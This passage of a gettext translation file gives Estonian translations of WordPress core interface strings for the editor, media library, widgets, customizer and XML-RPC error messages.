until you toggle this option off." msgstr "Kleepimine toimub puhta tekstina. Tavapärase kleepimisrežiimi taastamiseks lülita see valik välja." #: wp-includes/class-wp-editor.php:775 msgid "Justify" msgstr "Joonda" #: wp-includes/class-wp-editor.php:774 msgid "Align left" msgstr "Joonda vasakule" #: wp-includes/class-wp-editor.php:789 msgid "Visual aids" msgstr "Visuaaltöövahend" #: wp-includes/class-wp-editor.php:851 msgid "Restore last draft" msgstr "Taasta eelmine mustand" #: wp-includes/class-wp-editor.php:838 msgid "Special character" msgstr "Erisümbol" #: wp-includes/class-wp-editor.php:768 msgid "Source code" msgstr "Lähtekood" #: wp-includes/class-wp-editor.php:841 msgid "Emoticons" msgstr "Emootikonid" #: wp-includes/class-wp-editor.php:810 msgid "Robots" msgstr "Robotid" #: wp-includes/class-wp-editor.php:813 msgid "Encoding" msgstr "Kodeering" #: wp-includes/class-wp-editor.php:849 msgid "Horizontal line" msgstr "Rõhtjoon" #: wp-includes/class-wp-editor.php:829 msgid "Insert date/time" msgstr "Lisa kuupäev/kellaaeg" #: wp-includes/class-wp-editor.php:833 msgid "Paste your embed code below:" msgstr "Kleebi kood siia:" #: wp-includes/class-wp-editor.php:834 msgid "Insert video" msgstr "Lisa video" #: wp-includes/class-wp-editor.php:835 msgid "Embed" msgstr "Liida" #: wp-includes/class-wp-editor.php:842 msgid "Nonbreaking space" msgstr "Mittepoolitav tühik" #: wp-includes/class-wp-editor.php:843 msgid "Page break" msgstr "Leheküljepiir" #: wp-includes/class-wp-editor.php:844 msgid "Paste as text" msgstr "Kleebi tavatekstina" #: wp-includes/media-template.php:847 wp-includes/media.php:2917 msgid "Replace" msgstr "Asenda" #: wp-includes/class-wp-editor.php:862 msgid "Find and replace" msgstr "Otsi ja asenda" #: wp-includes/class-wp-editor.php:866 msgid "Match case" msgstr "Tõstutundlik" #: wp-includes/class-wp-editor.php:880 msgid "Rows" msgstr "Read" #: wp-includes/class-wp-editor.php:915 msgid "Cell padding" msgstr "Lahtri ääris" #: wp-includes/class-wp-editor.php:916 msgid "Cell spacing" msgstr "Lahtrite vahe" #: wp-includes/class-wp-editor.php:913 msgid "Row type" msgstr "Rea tüüp" #: wp-includes/class-wp-editor.php:873 msgid "Insert table" msgstr "Lisa tabel" #: wp-includes/class-wp-editor.php:884 msgid "Header cell" msgstr "Päiselahter" #: wp-includes/class-wp-editor.php:914 msgid "Cell type" msgstr "Lahtritüüp" #: wp-includes/class-wp-editor.php:911 msgid "Row group" msgstr "Reagrupp" #: wp-includes/class-wp-editor.php:896 msgid "Delete column" msgstr "Kustuta veerg" #: wp-includes/class-wp-editor.php:922 msgid "Background color" msgstr "Taustavärvus" #: wp-includes/class-wp-editor.php:923 msgid "Text color" msgstr "Kirja värvus" #: wp-includes/class-wp-editor.php:925 msgid "Show invisible characters" msgstr "Kuva nähtamatud sümbolid" #: wp-includes/class-wp-editor.php:930 msgid "Rich Text Area. Press ALT-F9 for menu. Press ALT-F10 for toolbar. Press ALT-0 for help" msgstr "Vormindatud teksti ala. Alt-F9 avab menüü, Alt-F10 tööriistariba ja Alt-0 abiinfo." #: wp-includes/class-wp-editor.php:946 msgid "Insert Read More tag" msgstr "Lisa \"Loe edasi\" silt" #: wp-includes/class-wp-editor.php:948 msgid "Distraction Free Writing" msgstr "Vaba kirjutamise režiim" #: wp-includes/general-template.php:2647 msgctxt "admin color scheme" msgid "Sunrise" msgstr "Päiksetõus" #: wp-includes/general-template.php:2653 msgctxt "admin color scheme" msgid "Ectoplasm" msgstr "Ektoplasma" #: wp-includes/general-template.php:2659 msgctxt "admin color scheme" msgid "Ocean" msgstr "Ookean" #: wp-includes/general-template.php:2665 msgctxt "admin color scheme" msgid "Coffee" msgstr "Kohv" #: wp-includes/class-wp-image-editor.php:268 msgid "Attempted to set image quality outside of the range [1,100]." msgstr "Proovisid määrata pildi kvaliteediks väärtuse väljaspool lubatud vahemikku [1, 100]." #: wp-includes/taxonomy.php:2489 msgid "A term with the name and slug provided already exists with this parent." msgstr "Sellise nime ja URLiga märksõna on juba selle ülem-märksõna all olemas." #: wp-includes/taxonomy.php:2509 msgid "A term with the name and slug provided already exists." msgstr "Sellise nime ja URLiga märksõna on juba olemas." #: wp-includes/default-widgets.php:17 msgid "A list of your site’s Pages." msgstr "Kõigi sinu saidi lehtede loetelu." #: wp-includes/default-widgets.php:226 msgid "A search form for your site." msgstr "Otsivorm sinu saidi jaoks." #: wp-includes/default-widgets.php:271 msgid "A monthly archive of your site’s Posts." msgstr "Sinu saidi postituste arhiiv kuude kaupa." #: wp-includes/default-widgets.php:371 msgid "Login, RSS, & WordPress.org links." msgstr "Sisselogimise, RSS’i ja WordPress.org viited." #: wp-includes/default-widgets.php:435 msgid "A calendar of your site’s Posts." msgstr "Sinu saidi postituste kalender." #: wp-includes/default-widgets.php:479 msgid "Arbitrary text or HTML." msgstr "Vaba tekst või HTML." #: wp-includes/default-widgets.php:541 msgid "A list or dropdown of categories." msgstr "Kategooriate nimistu või menüü." #: wp-includes/default-widgets.php:653 msgid "Your site’s most recent Posts." msgstr "Sinu saidi värskeimad postitused." #: wp-includes/default-widgets.php:783 msgid "Your site’s most recent comments." msgstr "Sinu saidi värskeimad kommentaarid." #: wp-includes/default-widgets.php:928 msgid "Entries from any RSS or Atom feed." msgstr "Postitused RSS või Atom söötest." #: wp-includes/default-widgets.php:1224 msgid "A cloud of your most used tags." msgstr "Viimati kasutatud siltide pilv." #: wp-includes/default-widgets.php:1307 msgid "Add a custom menu to your sidebar." msgstr "Lisa kohandatud menüü." #. translators: If there are characters in your language that are not supported #. * by Open Sans, translate this to 'off'. Do not translate into your own #. language. #: wp-includes/script-loader.php:586 msgctxt "Open Sans font: on or off" msgid "on" msgstr "on" #: wp-includes/general-template.php:2619 msgctxt "admin color scheme" msgid "Default" msgstr "" #: wp-includes/general-template.php:2629 msgctxt "admin color scheme" msgid "Light" msgstr "Hele" #: wp-includes/general-template.php:2641 msgctxt "admin color scheme" msgid "Midnight" msgstr "Kesköö" #: wp-includes/link-template.php:1491 msgid "Use commas instead of %s to separate excluded terms." msgstr "Välistatud märksõnade eraldamiseks kasuta %s asemel koma." #. translators: To add an additional Open Sans character subset specific to #. your language, #. * translate this to 'greek', 'cyrillic' or 'vietnamese'. Do not translate #. into your own language. #: wp-includes/script-loader.php:592 msgctxt "Open Sans font: add new subset (greek, cyrillic, vietnamese)" msgid "no-subset" msgstr "no-subset" #: wp-includes/admin-bar.php:169 msgid "Menu" msgstr "Menüü" #: wp-includes/update.php:553 msgid "Translation Updates" msgstr "Tõlke uuendused" #: wp-login.php:502 msgid "Sorry, that key has expired. Please try again." msgstr "Vabandust, aga see võti on aegunud. Palun proovi uuesti." #: wp-includes/class-wp-theme.php:219 msgid "The theme directory \"%s\" does not exist." msgstr "Teemakataloogi \"%s\" ei eksisteeri." #: wp-includes/query.php:726 msgid "In <code>%1$s</code>, use the <code>%2$s</code> method, not the <code>%3$s</code> function. See %4$s." msgstr "<code>%1$s</code> asemel kasuta meetodit <code>%2$s</code>, mitte funktsiooni <code>%3$s</code> . Vaata %4$s." #: wp-includes/functions.php:1138 msgid "ERROR: This is not a valid feed template." msgstr "VIGA: uudisvoo templiit ei ole korrektne." #: wp-includes/post-template.php:1566 msgid "This content is password protected. To view it please enter your password below:" msgstr "Sisu on parooliga kaitstud. Selle nägemiseks sisesta palun oma parool." #: wp-includes/query.php:727 msgid "http://codex.wordpress.org/Function_Reference/is_main_query" msgstr "http://codex.wordpress.org/Function_Reference/is_main_query" #. translators: This is a comma-separated list of very common words that should #. be excluded from a search, #. * like a, an, and the. These are usually called "stopwords". You should #. not simply translate these individual #. * words into your language. Instead, look for and provide commonly #. accepted stopwords in your language. #: wp-includes/query.php:2144 msgctxt "Comma-separated list of search stopwords in your language" msgid "about,an,are,as,at,be,by,com,for,from,how,in,is,it,of,on,or,that,the,this,to,was,what,when,where,who,will,with,www" msgstr "on,oli,olid,olema,nagu,ja,ei,et,kuidas,kui,ka,see,saan,saad,saavad,saame,oma,aga,sina,ise,siis,ning,kes,nii,kõik,nagu,veel,kuid,ehk,kas,miski,juba,ära,seda,või,kuidas,mis,mida,kes,keda,millal,koos,www,ee,com" #: wp-includes/class-http.php:1031 wp-includes/class-http.php:1433 msgid "Failed to write request to temporary file." msgstr "Päringu kirjutamine ajutisse faili ebeõnnestus." #: wp-includes/class-http.php:937 wp-includes/class-http.php:945 msgid "The SSL certificate for the host could not be verified." msgstr "SSL sertifikaati ei õnnestunud verifitseerida." #: wp-includes/media-template.php:631 msgid "Embed Media Player" msgstr "Lisa meediapleier" #: wp-includes/media-template.php:339 wp-includes/media-template.php:515 msgid "Length:" msgstr "Pikkus:" #: wp-includes/media-template.php:618 msgid "Embed or Link" msgstr "Lisa või viita" #: wp-includes/media-template.php:638 msgid "Link to Media File" msgstr "Meediafailiviide" #: wp-includes/media-template.php:645 msgid "Link to Attachment Page" msgstr "Manuseleheviide" #: wp-includes/script-loader.php:311 msgid "Download File" msgstr "Lae fail" #: wp-includes/script-loader.php:312 msgid "Download Video" msgstr "Lae video alla" #: wp-includes/script-loader.php:313 msgid "Play/Pause" msgstr "Esita/Paus" #: wp-includes/script-loader.php:314 msgid "Mute Toggle" msgstr "Vaigista" #: wp-includes/script-loader.php:316 msgid "Turn off Fullscreen" msgstr "Sulge üleekraanirežiim" #: wp-includes/script-loader.php:317 msgid "Go Fullscreen" msgstr "Ava üleekraanirežiim" #: wp-includes/script-loader.php:318 msgid "Unmute" msgstr "Luba heli" #: wp-includes/script-loader.php:320 msgid "Captions/Subtitles" msgstr "Subtiitrid" #: wp-includes/formatting.php:2500 msgid "%s week" msgid_plural "%s weeks" msgstr[0] "%s nädal" msgstr[1] "%s nädalat" #: wp-includes/formatting.php:2505 msgid "%s month" msgid_plural "%s months" msgstr[0] "%s kuu" msgstr[1] "%s kuud" #: wp-includes/formatting.php:2510 msgid "%s year" msgid_plural "%s years" msgstr[0] "%s aasta" msgstr[1] "%s aastat" #: wp-includes/nav-menu.php:726 wp-includes/post-template.php:1328 #: wp-includes/post-template.php:1413 msgid "#%d (no title)" msgstr "#%d (pealkirjata)" #: wp-includes/post-template.php:1761 msgid "JavaScript must be enabled to use this feature." msgstr "Toimimiseks peab JavaScript olema brauseris lubatud." #. translators: localized date format, see http:php.net/date #: wp-includes/locale.php:351 msgid "F j, Y" msgstr "j. F Y" #. translators: localized time format, see http:php.net/date #: wp-includes/locale.php:353 msgid "g:i a" msgstr "H:i" #. translators: localized date and time format, see http:php.net/date #: wp-includes/locale.php:355 msgid "F j, Y g:i a" msgstr "j. F Y H:i" #: wp-includes/class-wp-xmlrpc-server.php:372 msgid "Login Address (URL)" msgstr "Sisselogimise aadress (URL)" #: wp-includes/class-wp-xmlrpc-server.php:377 msgid "The URL to the admin area" msgstr "URL halduri alale" #: wp-includes/class-wp-customize-control.php:745 #: wp-includes/media-template.php:179 msgid "The web browser on your device cannot be used to upload files. You may be able to use the <a href=\"%s\">native app for your device</a> instead." msgstr "Sinu seadme veebibrauserit ei saa kasutada failide üleslaadimiseks. Võimalik, et aitab <a href=\"%s\">WordPressi mobiiliäpi</a> kasutamine." #: wp-includes/post-template.php:242 msgid "(more…)" msgstr "(loe edasi…)" #: wp-login.php:397 msgid "Possible reason: your host may have disabled the mail() function." msgstr "Võimalik põhjus: sinu veebimajutus võib olla keelanud mail() funktsiooni." #: wp-includes/user.php:2182 msgid "<strong>ERROR</strong>: Couldn’t register you… please contact the <a href=\"mailto:%s\">webmaster</a> !" msgstr "<strong>VIGA</strong>: Kasutaja registreerimine ei õnnestunud… palun võta ühendust <a href=\"mailto:%s\">veebimeistriga</a> !" #. translators: 1: date #: wp-includes/post-template.php:1655 msgctxt "post revision title extra" msgid "%1$s [Autosave]" msgstr "%1$s [Automaatsalvestus]" #. translators: 1: date #: wp-includes/post-template.php:1657 msgctxt "post revision title extra" msgid "%1$s [Current Revision]" msgstr "%1$s [Viimane versioon]" #: wp-includes/script-loader.php:133 msgid "Your session has expired. You can log in again from this page or go to the login page." msgstr "Sinu sessioon on aegunud. Võid siinsamas uuesti sisse logida või minne sisselogimise lehele." #. translators: 1: month, 2: day, 3: year, 4: hour, 5: minute #: wp-includes/script-loader.php:444 msgid "%1$s %2$s, %3$s @ %4$s : %5$s" msgstr "%2$s %1$s, %3$s @ %4$s : %5$s" #: wp-login.php:831 msgid "Session expired. Please log in again. You will not move away from this page." msgstr "Sessioon on aegunud. Palun logi uuesti sisse, jääd samale lehele." #: wp-signup.php:654 msgid "Have you entered your email correctly? You have entered %s, if it’s incorrect, you will not receive your email." msgstr "Kas sisestasid e-posti korrektselt? Sisestasid %s, kui see on vigane ei saa sa e-posti kätte." #: wp-signup.php:731 msgid "The site you were looking for, <strong>%s</strong>, does not exist, but you can create it now!" msgstr "Saiti mida otsisid, <strong>%s</strong>, hetkel pole - aga sa võid selle kohe luua!" #: wp-signup.php:733 msgid "The site you were looking for, <strong>%s</strong>, does not exist." msgstr "Saiti mida otsisid, <strong>%s</strong>, ei eksisteeri." #: wp-includes/functions.php:4486 msgid "The login page will open in a new window. After logging in you can close it and return to this page." msgstr "Sisselogimise leht avaneb uues aknas. Pärast sisselogimist võid selle sulgeda ja tulla tagasi siia lehele." #. translators: post revision title: 1: author avatar, 2: author name, 3: time #. ago, 4: date #: wp-includes/post-template.php:1701 msgctxt "post revision title" msgid "%1$s %2$s, %3$s ago (%4$s)" msgstr "%1$s %2$s, %3$s tagasi (%4$s)" #: wp-includes/comment-template.php:1851 msgid "%s <span class=\"says\">says:</span>" msgstr "%s <span class=\"says\">ütles:</span>" #: wp-includes/comment-template.php:1857 msgctxt "1: date, 2: time" msgid "%1$s at %2$s" msgstr "%1$s kell %2$s" #: wp-includes/general-template.php:237 msgctxt "placeholder" msgid "Search …" msgstr "Otsi …" #: wp-includes/general-template.php:236 wp-includes/general-template.php:237 #: wp-includes/general-template.php:244 msgctxt "label" msgid "Search for:" msgstr "Otsi:" #: wp-includes/general-template.php:239 wp-includes/general-template.php:246 msgctxt "submit button" msgid "Search" msgstr "Otsi" #. translators: revision date format, see http:php.net/date #: wp-includes/post-template.php:1691 msgctxt "revision date format" msgid "j F, Y @ G:i:s" msgstr "j. M Y k\\\\e\\\\l\\\\l H:i:s" #: wp-includes/functions.php:4484 msgid "Session expired" msgstr "Sessioon on aegunud" #: wp-includes/taxonomy.php:490 msgid "No tags found." msgstr "Märksõnu ei leitud." #: wp-includes/default-widgets.php:401 msgctxt "meta widget link text" msgid "WordPress.org" msgstr "WordPress.org" #: wp-includes/functions.wp-scripts.php:166 msgid "Do not deregister the %1$s script in the administration area. To target the frontend theme, use the %2$s hook." msgstr "Ära deaktiveeri %1$s skripti halduri alas. Teema jaoks kasuta %2$s konksu." #: wp-includes/class-wp-xmlrpc-server.php:362 msgid "WordPress Address (URL)" msgstr "WordPressi aadress (URL)" #: wp-includes/class-wp-xmlrpc-server.php:367 msgid "Site Address (URL)" msgstr "Saidi aadress (URL)" #: wp-includes/user.php:1903 msgid "Invalid user ID." msgstr "Kasutaja ID on vigane." #: wp-includes/media-template.php:734 msgid "Random Order" msgstr "Juhuslik järjestus" #: wp-includes/media-template.php:465 msgid "Caption this image…" msgstr "Pane sellele pildile allkiri…" #. translators: This is a would-be plural string used in the media manager. #. If there is not a word you can use in your language to avoid issues #. with the #. lack of plural support here, turn it into "selected: %d" then translate #. it. #: wp-includes/media.php:2924 msgid "%d selected" msgstr "Valitud %d" #: wp-includes/media.php:2964 msgid "Insert from URL" msgstr "Lisa aadressilt" #: wp-includes/media.php:2967 msgid "Set Featured Image" msgstr "Määra tunnuspilt" #: wp-includes/default-widgets.php:197 msgctxt "Links widget" msgid "Random" msgstr "Juhuslik" #: wp-includes/media-template.php:1192 wp-includes/media.php:2941 msgid "No items found." msgstr "Otsitavat ei leitud." #: wp-includes/media.php:2977 msgid "Add to Gallery" msgstr "Lisa galeriisse" #: wp-includes/media.php:2978 msgid "Reverse order" msgstr "Vastupidine järjestus" #: wp-includes/media.php:2968 msgid "Set featured image" msgstr "Määra tunnuspilt" #: wp-includes/media-template.php:458 msgid "Deselect" msgstr "Tühista valik" #: wp-includes/class-wp-xmlrpc-server.php:4156 #: wp-includes/class-wp-xmlrpc-server.php:4166 msgid "Sorry, that file cannot be edited." msgstr "Vabandust, seda faili ei saa muuta." #: wp-includes/media.php:2946 msgid "" "You are about to permanently delete this item.\n" " 'Cancel' to stop, 'OK' to delete." msgstr "" "Oled kustutamas seda objekti jäädavalt. \n" "Kustutamiseks vali 'Olgu', tühistamiseks 'Tühista'." #: wp-includes/media-template.php:423 wp-includes/media-template.php:526 #: wp-includes/media.php:2954 msgid "Delete Permanently" msgstr "Kustuta jäädavalt" #: wp-includes/media-template.php:181 msgid "Upload Limit Exceeded" msgstr "Üleslaadimislimiit sai täis" #: wp-includes/media-template.php:246 msgid "Dismiss Errors" msgstr "Eira vigu" #: wp-includes/media-template.php:260 msgid "Error" msgstr "Viga" #: wp-includes/media.php:2462 msgid "No editor could be selected." msgstr "Redaktorit ei saa valida." #: wp-includes/media-template.php:245 msgid "Uploading" msgstr "Üleslaadimine" #: wp-includes/post.php:2434 msgid "Manage Images" msgstr "Halda pilte" #: wp-includes/post.php:2434 msgid "Image <span class=\"count\">(%s)</span>" msgid_plural "Images <span class=\"count\">(%s)</span>" msgstr[0] "Pilt <span class=\"count\">(%s)</span>" msgstr[1] "Pildid <span class=\"count\">(%s)</span>" #: wp-includes/post.php:2435 msgid "Manage Audio" msgstr "Halda helifaile" #: wp-includes/post.php:2435 msgid "Audio <span class=\"count\">(%s)</span>" msgid_plural "Audio <span class=\"count\">(%s)</span>" msgstr[0] "Audiofail <span class=\"count\">(%s)</span>" msgstr[1] "Audiofailid <span class=\"count\">(%s)</span>" #: wp-includes/post.php:2436 msgid "Video" msgstr "Video" #: wp-includes/post.php:2436 msgid "Manage Video" msgstr "Halda videosid" #: wp-includes/post.php:2436 msgid "Video <span class=\"count\">(%s)</span>" msgid_plural "Video <span class=\"count\">(%s)</span>" msgstr[0] "Videofail <span class=\"count\">(%s)</span>" msgstr[1] "Videofailid <span class=\"count\">(%s)</span>" #: wp-includes/media.php:2942 msgid "Insert into page" msgstr "Lisa lehele" #: wp-includes/media.php:2945 msgid "Uploaded to this page" msgstr "Lisatud sellele lehele" #: wp-includes/media.php:2938 msgid "All media items" msgstr "Kõik meediaobjektid" #: wp-includes/media.php:2945 msgid "Uploaded to this post" msgstr "Lisatud sellele postitusele" #: wp-includes/post.php:2435 msgid "Audio" msgstr "Helifailid" #: wp-includes/media.php:2937 msgid "← Return to library" msgstr "← Tagasi teeki" #: wp-includes/media-template.php:652 wp-includes/media-template.php:827 #: wp-includes/media-template.php:940 msgid "Custom URL" msgstr "Kohandatud URL" #: wp-includes/media-template.php:481 wp-includes/media.php:2961 msgid "Attachment Details" msgstr "Manuse detailid" #: wp-includes/media-template.php:385 wp-includes/media-template.php:564 #: wp-includes/media-template.php:798 msgid "Alt Text" msgstr "Alt-tekst" #: wp-includes/media-template.php:720 msgid "Columns" msgstr "Veerud" #: wp-includes/media.php:2925 msgid "Drag and drop to reorder images." msgstr "Pildijärjestust saab muuta hiirega lohistades." #: wp-includes/media-template.php:676 wp-includes/media-template.php:900 #: wp-includes/media.php:2685 msgid "Large" msgstr "Suur" #: wp-includes/media-template.php:588 msgid "Attachment Display Settings" msgstr "Manuse kuvamissätted" #: wp-includes/media-template.php:695 msgid "Gallery Settings" msgstr "Galeriisätted" #: wp-includes/media.php:2929 msgid "Upload Images" msgstr "Laadin pildid üles" #: wp-includes/media.php:2973 msgid "← Cancel Gallery" msgstr "← Tühista" #: wp-includes/ms-functions.php:1969 msgid "WordPress › Success" msgstr "WordPress › Korras!" #: wp-includes/media-template.php:188 msgid "Drop files anywhere to upload" msgstr "Üleslaadimiseks lohista failid siia" #: wp-includes/media.php:2928 msgid "Upload Files" msgstr "Laadin failid üles" #: wp-includes/media.php:2974 msgid "Insert gallery" msgstr "Lisa galerii" #: wp-includes/media-template.php:159 wp-includes/media-template.php:165 msgid "Drop files to upload" msgstr "Lohista üleslaetavad failid siia" #: wp-includes/media.php:2932 msgid "Media Library" msgstr "Meediateek" #: wp-includes/media.php:2971 msgid "Create Gallery" msgstr "Loo galerii" #: wp-includes/ms-functions.php:943 msgid "" "To activate your user, please click the following link:\n" "\n" "%s\n" "\n" "After you activate, you will receive *another email* with your login." msgstr "" "Kasutaja aktiveerimiseks palun klõpsa järgnevat viidet:\n" "\n" "%s\n" "\n" "Peale aktiveerimist saadetakse sulle *veel üks e-kiri*, milles on sisselogimisinfo." #: wp-includes/ms-functions.php:1373 msgid "Already Installed" msgstr "Juba paigaldatud" #: wp-includes/ms-functions.php:1373 msgid "You appear to have already installed WordPress. To reinstall please clear your old database tables first." msgstr "Oled ilmselt WordPressi juba paigaldanud. Uuesti paigaldamiseks kustuta esmalt vanad andmebaasitabelid." #: wp-includes/taxonomy.php:350 wp-includes/taxonomy.php:351 msgid "Taxonomies cannot exceed 32 characters in length" msgstr "Taksonoomiad ei tohi olla pikemad kui 32 tähemärki" #: wp-includes/ms-functions.php:1225 msgid "" "New Site: %1$s\n" "URL: %2$s\n" "Remote IP: %3$s\n" "\n" "Disable these notifications: %4$s" msgstr "" "Uus veebileht: %1$s\n" "URL: %2$s\n" "IP: %3$s\n" "\n" "Lülita need teavitused välja: %4$s" #: wp-includes/ms-functions.php:1268 msgid "" "New User: %1$s\n" "Remote IP: %2$s\n" "\n" "Disable these notifications: %3$s" msgstr "" "Uus kasutaja: %1$s\n" "IP: %2$s\n" "\n" "Lülita need teavitused välja: %3$s" #: wp-includes/media-template.php:620 wp-includes/media-template.php:698 #: wp-includes/media-template.php:821 wp-includes/media-template.php:925 msgid "Link To" msgstr "Viide aadressile" #: wp-includes/media-template.php:647 wp-includes/media-template.php:708 #: wp-includes/media-template.php:932 msgid "Attachment Page" msgstr "Manuseleht" #: wp-includes/media-template.php:640 wp-includes/media-template.php:711 #: wp-includes/media-template.php:929 msgid "Media File" msgstr "Meediafail" #: wp-includes/media-template.php:469 msgid "Describe this video…" msgstr "Kirjelda seda videot…" #: wp-includes/media-template.php:471 msgid "Describe this audio file…" msgstr "Kirjelda seda helifaili…" #: wp-includes/media-template.php:473 msgid "Describe this media file…" msgstr "Kirjelda seda meediafaili…" #: wp-includes/media.php:2975 msgid "Update gallery" msgstr "Uuenda galeriid" #: wp-includes/ms-functions.php:186 msgid "The requested user does not exist." msgstr "Sellist kasutajat ei ole olemas." #: wp-includes/ms-functions.php:506 msgid "Please enter a valid email address." msgstr "Palun sisesta toimiv e-postiaadress." #: wp-includes/user.php:2132 msgid "<strong>ERROR</strong>: This username is already registered. Please choose another one." msgstr "<strong>VIGA</strong>: See kasutajanimi on juba olemas, palun vali mõni muu." #: wp-includes/class-wp-image-editor-gd.php:87 #: wp-includes/class-wp-image-editor-imagick.php:120 msgid "File doesn’t exist?" msgstr "Seda faili vist ei ole?" #: wp-includes/class-wp-image-editor-gd.php:103 #: wp-includes/class-wp-image-editor-imagick.php:130 msgid "File is not an image." msgstr "See ei ole pildifail." #: wp-includes/class-wp-image-editor-gd.php:107 msgid "Could not read image size." msgstr "Pildi suurust ei suudetud lugeda." #: wp-includes/class-wp-image-editor-gd.php:169 #: wp-includes/class-wp-image-editor-gd.php:187 msgid "Image resize failed." msgstr "Pildi suuruse muutmine ebaõnnestus." #: wp-includes/class-wp-image-editor-gd.php:293 msgid "Image crop failed." msgstr "Pildi kärpimine ebaõnnestus." #: wp-includes/class-wp-image-editor-gd.php:317 msgid "Image rotate failed." msgstr "Pildi pööramine ebaõnnestus." #: wp-includes/class-wp-image-editor-gd.php:347 msgid "Image flip failed." msgstr "Pildi peegeldamine ebaõnnestus." #: wp-includes/class-wp-image-editor-gd.php:379 #: wp-includes/class-wp-image-editor-gd.php:387 #: wp-includes/class-wp-image-editor-gd.php:391 #: wp-includes/class-wp-image-editor-gd.php:394 msgid "Image Editor Save Failed" msgstr "Pildi salvestamine ebaõnnestus" #: wp-includes/post.php:59 msgid "View Attachment Page" msgstr "Vaata manuselehte" #: wp-includes/post.php:3210 msgid "Whoops, the provided date is invalid." msgstr "See kuupäev on vigane." #: wp-includes/media.php:2933 msgid "Insert Media" msgstr "Lisa meediafail" #: wp-includes/media.php:2934 msgid "Create a new gallery" msgstr "Loo uus galerii" #: wp-includes/media.php:2942 msgid "Insert into post" msgstr "Lisa postitusse" #: wp-includes/media.php:2976 msgid "Add to gallery" msgstr "Lisa galeriisse" #: wp-includes/media-template.php:581 wp-includes/script-loader.php:505 msgid "Clear" msgstr "Tühjenda" #: wp-includes/script-loader.php:507 msgid "Select Color" msgstr "Vali värv" #: wp-includes/script-loader.php:508 msgid "Current Color" msgstr "Praegune värv" #: wp-includes/taxonomy.php:2708 msgid "Could not insert term relationship into the database" msgstr "Termini seoste lisamine andmebaasi ebaõnnestus" #. translators: 1: first name, 2: last name #: wp-includes/user.php:1760 msgctxt "Display name based on first name and last name" msgid "%1$s %2$s" msgstr "%1$s %2$s" #: wp-includes/class-wp-xmlrpc-server.php:226 msgid "Incorrect username or password." msgstr "Vale kasutajanimi või parool." #: wp-includes/class-wp-xmlrpc-server.php:219 msgid "XML-RPC services are disabled on this site." msgstr "XML-RPC on sellel veebilehel keelatud." #: wp-includes/class-wp-xmlrpc-server.php:1428 msgid "There is a revision of this post that is more recent." msgstr "Sellest postitusest on olemas värskem versioon." #. translators: 1: blog name, 2: separator(raquo), 3: post type name #: wp-includes/general-template.php:2130 msgid "%1$s %2$s %3$s Feed" msgstr "%1$s %2$s %3$s RSS-voog" #: wp-includes/default-widgets.php:770 msgid "Display post date?" msgstr "Kas näidata kuupäeva?" #: wp-includes/class-wp-xmlrpc-server.php:4481 msgid "You are not allowed to create pages as this user." msgstr "Sul ei ole õigust selle kasutajana lehti luua." #: wp-includes/class-wp-xmlrpc-server.php:3849 #: wp-includes/class-wp-xmlrpc-server.php:3911 #: wp-includes/class-wp-xmlrpc-server.php:3914 #: wp-includes/class-wp-xmlrpc-server.php:3917 wp-includes/revision.php:251 msgid "Invalid post ID" msgstr "Postituse ID on vigane." #: wp-includes/class-wp-xmlrpc-server.php:2241 msgid "Sorry, you cannot edit users." msgstr "Vabandust, sa ei saa kasutajaid muuta." #: wp-includes/class-wp-xmlrpc-server.php:2246 msgid "Invalid user ID" msgstr "Kasutaja ID on vigane" #: wp-includes/class-wp-xmlrpc-server.php:2297 msgid "Sorry, you cannot list users." msgstr "Vabandust, sa ei saa kasutajate nimekirja vaadata." #: wp-includes/class-wp-xmlrpc-server.php:2313 msgid "The role specified is not valid" msgstr "Valitud roll ei ole sobiv." #: wp-includes/class-wp-xmlrpc-server.php:2367 #: wp-includes/class-wp-xmlrpc-server.php:2411 msgid "Sorry, you cannot edit your profile." msgstr "Vabandust, sa ei saa enda kasutajainfot muuta." #: wp-includes/class-wp-xmlrpc-server.php:2445 msgid "Sorry, the user cannot be updated." msgstr "Vabandust, seda kasutajat ei saa uuendada." #: wp-includes/class-wp-xmlrpc-server.php:3852 msgid "Sorry, you are not allowed to edit posts." msgstr "Vabandust, sul ei ole õigust postitusi muuta." #: wp-includes/class-wp-xmlrpc-server.php:3856 #: wp-includes/class-wp-xmlrpc-server.php:3924 msgid "Sorry, revisions are disabled." msgstr "Vabandust, versioonide kasutamine on välja lülitatud." #: wp-includes/media-template.php:863 msgid "Alternative Text" msgstr "Alternatiivtekst" #: wp-includes/media-template.php:189 msgctxt "Uploader: Drop files here - or - Select Files" msgid "or" msgstr "või" #: wp-includes/media-template.php:190 msgid "Select Files" msgstr "Vali failid" #: wp-includes/js/tinymce/wp-mce-help.php:130 msgid "Distraction Free Writing mode" msgstr "Vaba kirjutamise režiim" #: wp-includes/js/tinymce/wp-mce-help.php:135 msgid "Editor width in Distraction Free Writing mode:" msgstr "Redaktori laius vaba kirjutamise režiimis" #: wp-includes/class-wp-admin-bar.php:367 msgid "Skip to toolbar" msgstr "Tööriistaribale" #: wp-includes/class-wp-admin-bar.php:368 msgid "Top navigation toolbar." msgstr "Ülemine navigeerimisriba." #: wp-includes/class-wp-editor.php:180 wp-includes/class-wp-editor.php:1200 msgctxt "Name for the Text editor tab (formerly HTML)" msgid "Text" msgstr "Tekst" #: wp-includes/class-wp-customize-control.php:528 msgid "Hex Value" msgstr "16-ndväärtus" #: wp-includes/class-wp-customize-manager.php:984 msgid "Header Text Color" msgstr "Päiseteksti värv" #: wp-includes/class-wp-customize-manager.php:962 msgid "Colors" msgstr "Värvid" #: wp-includes/script-loader.php:384 msgid "Save & Activate" msgstr "Salvesta & aktiveeri" #: wp-includes/script-loader.php:387 msgid "Saved" msgstr "Salvestatud" #: wp-includes/script-loader.php:385 msgid "Save & Publish" msgstr "Salvesta & avalda" #: wp-includes/class-wp-customize-control.php:752 msgid "Select File" msgstr "Vali fail" #: wp-includes/admin-bar.php:668 msgid "Customize" msgstr "Kohanda" #: wp-includes/class-wp-xmlrpc-server.php:582 msgid "Insufficient arguments passed to this XML-RPC method." msgstr "XML-RPC meetodi argumendid pole piisavad." #: wp-includes/class-wp-xmlrpc-server.php:1237 msgid "Sorry, you cannot stick a private post." msgstr "Vabandust, privaatpostitust ei saa kleepsuks määrata." #: wp-includes/class-wp-customize-control.php:624 msgid "No Image" msgstr "Pilti pole" #: wp-includes/class-wp-customize-manager.php:1109 msgid "You can edit your menu content on the Menus screen in the Appearance section." msgstr "Menüüd saab muuta Välimuse sektsioonist Menüüde valikust." #: wp-includes/class-wp-customize-control.php:749 msgid "Drop a file here or <a href=\"#\" class=\"upload\">select a file</a>." msgstr "<a href=\"#\" 